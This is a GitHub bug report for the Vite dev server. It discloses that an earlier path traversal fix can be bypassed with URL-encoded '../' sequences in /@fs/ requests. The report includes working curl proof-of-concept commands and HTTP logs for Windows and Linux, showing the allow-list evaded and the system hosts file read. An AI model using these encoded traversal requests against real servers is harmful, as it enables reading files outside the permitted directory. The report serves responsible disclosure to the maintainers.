-
-
Notifications
You must be signed in to change notification settings - Fork 7.4k
Description
Describe the bug
The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.
Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.
For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/../../ internally.
Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.
Reproduction
Any vite project is affected by this vulnerability.
npm init @vitejs/app app
cd app
npm install
npm run devReproduction in Windows
Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.
$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
* Trying ::1:3001...
* Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: *
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<
<body>
<h1>403 Restricted</h1>
<p>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/>- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
<style>
body {
padding: 1em 2em;
}
</style>
</body>
* Connection #0 to host localhost left intact
* What if we access like C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../Windows/System32/drivers/etc/hosts? In typical cases, this doesn't work
However, if we replace the path ../ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.
$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts"
* Trying ::1:3001...
* Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
*a Connection #0 to host localhost left intactReproduction in Linux
Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/...), and then do a path traversal based on the given whitelist.
curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts"
* Trying 192.168.125.129:3000...
* TCP_NODELAY set
* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
> Host: 192.168.125.129:3000
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 221
< Content-Type:
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
127.0.0.1 localhost
127.0.1.1 ubuntu
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
* Connection #0 to host 192.168.125.129 left intactSystem Info
Windows
System:
OS: Windows 10 10.0.19044
CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
Memory: 33.13 GB / 63.93 GB
Binaries:
Node: 16.13.2 - C:\Program Files\nodejs\node.EXE
Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD
npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD
Browsers:
Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)
Internet Explorer: 11.0.19041.1566
npmPackages:
@vitejs/plugin-vue: ^2.3.3 => 2.3.3
vite: ^2.9.9 => 2.9.10Linux
System:
OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
Memory: 12.21 GB / 15.59 GB
Container: Yes
Shell: 5.0.17 - /bin/bash
Binaries:
Node: 14.18.3 - /usr/bin/node
Yarn: 1.22.10 - /usr/bin/yarn
npm: 6.14.15 - /usr/bin/npm
Browsers:
Chrome: 97.0.4692.99
Firefox: 100.0.2
Used Package Manager
npm
Validations
- Follow our Code of Conduct
- Read the Contributing Guidelines.
- Read the docs.
- Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
- Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
- Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
- The provided reproduction is a minimal reproducible example of the bug.